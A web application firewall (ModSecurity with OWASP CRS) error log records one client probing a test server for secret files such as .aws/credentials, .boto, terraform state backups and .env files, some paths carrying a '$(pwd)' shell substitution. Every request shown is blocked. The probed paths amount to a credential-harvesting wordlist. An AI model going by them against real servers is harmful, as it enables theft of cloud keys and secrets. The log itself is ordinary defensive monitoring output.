[Sun Mar 22 01:06:00.830007 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/config&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhNwAAAAU&quot;]
[Sun Mar 22 01:06:00.852537 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/*/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOAAAAAU&quot;]
[Sun Mar 22 01:06:00.852823 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOAAAAAU&quot;]
[Sun Mar 22 01:06:00.853003 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.aws/credentials&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOAAAAAU&quot;]
[Sun Mar 22 01:06:00.875521 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOQAAAAU&quot;]
[Sun Mar 22 01:06:00.875795 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOQAAAAU&quot;]
[Sun Mar 22 01:06:00.875977 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOQAAAAU&quot;]
[Sun Mar 22 01:06:00.898444 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /root/.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.boto&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOgAAAAU&quot;]
[Sun Mar 22 01:06:00.898732 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.boto&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOgAAAAU&quot;]
[Sun Mar 22 01:06:00.898913 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.boto&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhOgAAAAU&quot;]
[Sun Mar 22 01:06:00.967535 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/boto.cfg&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhPQAAAAU&quot;]
[Sun Mar 22 01:06:00.968066 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/boto.cfg&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhPQAAAAU&quot;]
[Sun Mar 22 01:06:00.968243 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/boto.cfg&quot;] [unique_id &quot;ab8yaNb4J9WjFZPQ70DhPQAAAAU&quot;]
[Sun Mar 22 01:06:01.036500 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;ab8yadb4J9WjFZPQ70DhQAAAAAU&quot;]
[Sun Mar 22 01:06:01.037052 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;ab8yadb4J9WjFZPQ70DhQAAAAAU&quot;]
[Sun Mar 22 01:06:01.037245 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;ab8yadb4J9WjFZPQ70DhQAAAAAU&quot;]
[Sun Mar 22 01:06:01.402522 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /~/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/credentials&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97OgAAAAE&quot;]
[Sun Mar 22 01:06:01.402719 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/credentials&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97OgAAAAE&quot;]
[Sun Mar 22 01:06:01.402855 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/credentials&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97OgAAAAE&quot;]
[Sun Mar 22 01:06:01.424966 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /~/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/config&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97OwAAAAE&quot;]
[Sun Mar 22 01:06:01.425176 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/config&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97OwAAAAE&quot;]
[Sun Mar 22 01:06:01.425317 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/config&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97OwAAAAE&quot;]
[Sun Mar 22 01:06:01.447535 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /~/.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.boto&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97PAAAAAE&quot;]
[Sun Mar 22 01:06:01.447747 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.boto&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97PAAAAAE&quot;]
[Sun Mar 22 01:06:01.447884 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.boto&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97PAAAAAE&quot;]
[Sun Mar 22 01:06:01.674063 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97RgAAAAE&quot;]
[Sun Mar 22 01:06:01.674276 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97RgAAAAE&quot;]
[Sun Mar 22 01:06:01.674432 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97RgAAAAE&quot;]
[Sun Mar 22 01:06:01.696478 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.local&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97RwAAAAE&quot;]
[Sun Mar 22 01:06:01.696673 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.local&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97RwAAAAE&quot;]
[Sun Mar 22 01:06:01.696811 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.local&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97RwAAAAE&quot;]
[Sun Mar 22 01:06:01.718965 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.production&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SAAAAAE&quot;]
